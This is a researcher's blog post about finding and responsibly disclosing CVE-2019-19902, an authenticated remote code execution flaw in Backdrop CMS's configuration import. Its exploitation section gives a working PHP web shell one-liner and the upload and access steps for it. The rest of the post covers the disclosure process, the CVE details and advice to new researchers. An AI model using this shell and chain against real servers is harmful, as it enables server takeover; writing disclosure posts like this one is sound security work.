My First CVE: Remote Code Execution in Backdrop CMS (CVE-2019-19902)

TL;DR

In 2019, I discovered a critical Remote Code Execution (RCE) vulnerability in Backdrop CMS v1.13.3, stemming from an insecure configuration import feature. The CMS allowed .tar.gz files to be uploaded and extracted—even if they contained only PHP shells and no config files. This flaw enabled authenticated admin users to gain code execution on the server. I responsibly disclosed the issue to the Backdrop Security Team, who confirmed the bug, issued a fix, and assigned it CVE-2019-19902. This blog shares the technical details and personal reflections from that journey.

🧭 The Beginning

Every security researcher remembers their first CVE. For me, it was more than a vulnerability—it was a milestone that validated my path in cybersecurity.

In late 2019, I had been actively exploring open-source platforms, looking for misconfigurations, insecure defaults, and overlooked flaws. Along with a fellow researcher, I turned my attention to Backdrop CMS, an open-source project inspired by Drupal. Its niche adoption and familiar architecture made it a promising target for analysis.

What began as curiosity led to the discovery of a critical RCE vulnerability—and ultimately to my first assigned CVE: CVE-2019-19902.

🔍 The Vulnerability

Backdrop CMS allows administrators to import site configurations via compressed .tar.gz files. These archives are uploaded and extracted server-side into a hashed staging directory.

A prior security fix had attempted to prevent malicious file extraction by filtering out non-JSON files during import. However, I discovered a subtle bypass: if the archive contained only a PHP file and no JSON files at all, the system still extracted the archive.

That meant an admin user could upload a .tar.gz file containing a malicious PHP shell, which would be saved on the server and accessible via a predictable path. By chaining this with a GET parameter (?cmd=), an attacker could achieve remote code execution.

🧪 Exploitation Steps

Here’s a simplified reproduction flow (admin access required):

Create a PHP Web Shell
```
 <?php system($_GET['cmd']); ?>
```
Compress the file
```
 tar -czf shell.tar.gz shell.php
```
Login to the CMS as admin

Navigate to Configuration Management Import

 http://<site>/?q=admin/config/development/configuration/full

Upload the tarball and click “Stage Import”
Visit the update info page to find the config directory hash
```
 http://<site>/core/update.php?op=info
```

Access the web shell

 http://<site>/files/<hashed_directory>/staging/shell.php

Execute commands remotely

 http://<site>/files/<hashed_directory>/staging/shell.php?cmd=id

Just like that, arbitrary commands could be run on the target server.

📬 Responsible Disclosure

I documented the vulnerability thoroughly—with PoCs, reproduction steps, and even screenshots—and emailed the Backdrop Security Team. The communication was led by Nate Lampton, who initially couldn’t reproduce the issue because the patch worked for mixed-content archives (JSON + PHP), but not for PHP-only archives.

After some follow-up emails, test cases, and discussions, they confirmed the issue. The fix was released on December 18, 2019, and the vulnerability was assigned CVE-2019-19902.

Here’s an excerpt from Nate’s response that meant a lot to me:

“While our previous fix filtered out non-JSON files from uploaded archives, you discovered if the archive contains only the script payload (and no JSON files at all), then the archive files are expanded anyway.”

🔖 CVE Details

CVE ID: CVE-2019-19902
Component: Configuration Management
Severity: Critical
Impact: Remote Code Execution (Authenticated)
Fixed In: Backdrop CMS 1.14.2
Advisory: Backdrop SA-CORE-2019-016

🎯 Reflections

Getting my first CVE wasn’t just a technical win—it was emotional validation. It taught me a few powerful lessons:

Edge cases matter. The vulnerability bypassed a previous patch by targeting a rare, overlooked scenario.
Persistence pays off. From initial confusion to confirmation, I had to follow up multiple times, ensuring the issue wasn’t dismissed or misunderstood.
Communication is critical. A well-structured report with a clear PoC can accelerate collaboration with maintainers.
You don’t need zero-days. Even open-source platforms with small user bases can contain impactful bugs.

🙌 A Note to Fellow Researchers

If you’re just starting your journey in cybersecurity, here’s my advice:

Explore open-source projects. They’re accessible, well-documented, and often under-tested.
Focus on clarity over complexity—great reports make an impact even if the bug seems “simple.”
Practice responsible disclosure. It builds your credibility and helps secure software used around the world.
Your first CVE might come from curiosity, not deep expertise. That’s okay. It’s a starting point, not a finish line.

💬 Final Thoughts

CVE-2019-19902 wasn’t just about a bug in Backdrop CMS—it was about believing that I could contribute something meaningful to the security community. That belief turned into action, which turned into real-world impact.

To this day, that moment reminds me why I do what I do. And if you’re reading this, maybe it’ll be the push you need to chase your first CVE too.